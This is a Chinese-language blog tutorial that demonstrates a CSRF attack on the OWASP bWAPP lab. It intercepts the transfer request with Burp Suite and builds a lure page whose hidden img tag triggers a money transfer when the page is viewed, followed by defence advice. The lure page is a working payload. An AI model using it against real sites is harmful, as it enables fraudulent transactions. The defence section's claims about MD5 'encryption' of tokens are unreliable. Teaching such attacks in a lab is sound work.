CSRF全名為Cross-Site-Request-Forgery,跨站請求偽造攻擊。
簡而言之,駭客利用你瀏覽網站時尚未過期的session來進行偽造,發送惡意request。

舉個例子,以網路銀行為例,你向網銀發送帳號密碼進行驗證,驗證通過後server會回傳驗證成功,可以進行所有“登入後才可以進行的動作”。
這時候駭客利用網銀尚未通知閒置過久(session未過期),可以利用社交工程或者是其他方式讓user在不知不覺中發送request。

如何做到就是我們以下要講的。

我們利用原先就有CSRF漏洞的OWASP bWApp來進行練習。
目的就是讓user讓不知不覺的情況下成功被轉帳。

step1.我們必須要知道“轉帳”這個步驟在web端如何發送request。
我們可以用自己電腦來得到這個連結
先將瀏覽器設定代理伺服器(Proxy)
使用Burp-Suite內建proxy工具進行request攔截


可以看到在我們設定proxy之後,點擊"transfer"網頁會有點卡住
那是因為我們的request被攔截下來了
這時候我們可以看到這一段語法是轉帳的執行語法
GET /bWAPP/csrf_2.php?account=123-45678-90&amount=0&action=transfer HTTP/1.1
account=轉出帳號
amount=轉出金額
p.s.按Forward可以繼續將request送出,甚至可以修改再送出。

step2.撰寫釣魚網頁
為了簡化過程,我們簡化網頁內容,實際進行攻擊的網頁通常不會這麼簡單。



##################################
<html>
<head>
<meta charset="utf-8">
</head>
<body>
<font>
泰勒絲愛你哦 </br>
這是泰勒斯的電話跟照片 </br>
0931097313 </br>
點擊照片到我的blog看更多照片哦</br>
</font>
<img src="http://172.20.10.2/bWAPP/csrf_2.php?account=123-45678-90&amount=200&action=transfer=a.jpg">
<a href="http://www.google.com.tw" target="">  <img src="http://www.daliulian.org/imgs/image/12/1251496.jpg"> </a>
</body>
</html>
#################################


step3. 尋找目標下手
撰寫完成只要找尋目標,使user成功點擊網站,即可完成轉帳。
user不需要點擊任何圖片或者是網址,只需要看到這個頁面就可以進行CSRF攻擊了。


step4.我們回到剛剛的bWApp帳戶頁面,重新整理後會發現已經如程式碼所寫的轉出200 EUR了,然後這段時間user沒有對這個網頁進行任何動作。


總結:
這是因為user的request已經被我們依樣畫葫蘆偽造了一份,並加以修改回傳給銀行server,然而銀行也未查覺到有任何異常,在銀行看來就是user發送的一般請求而已。

防禦:
現在網路服務皆會設定閒置過期時間(session-time-out),閒置過久將會被自動登出,減少被偽造的機會。
而有些較大的web server,例如facebook、google...etc會設有token,所謂token就是利用演算法算出一組unique key,再經由md5加密送出,user做任何動作都需要token驗證,使駭客無從偽造,因為他沒有使用你當前的瀏覽器就無法得知你目前的token是什麼。
當然你會說,md5加密還是可以破解,沒錯!所以重點在於演算法的精密度,越精密的演算法,駭客越無從猜測,也就無從破解。
目前ASP.Net 的mvc上的CSRF防禦已經非常普遍化了,可以利用簡單的程式碼計算token,加以防禦簡單的CSFR攻擊。

經由以上簡單的CSRF滲透測試,雖然現今大部分網頁服務都有防禦CSRF,但是我們必須知道如果不使用的話,盡可能登出網頁服務,就可以避免造成不必要的風險。

               2016-09-09 , David in Taipei.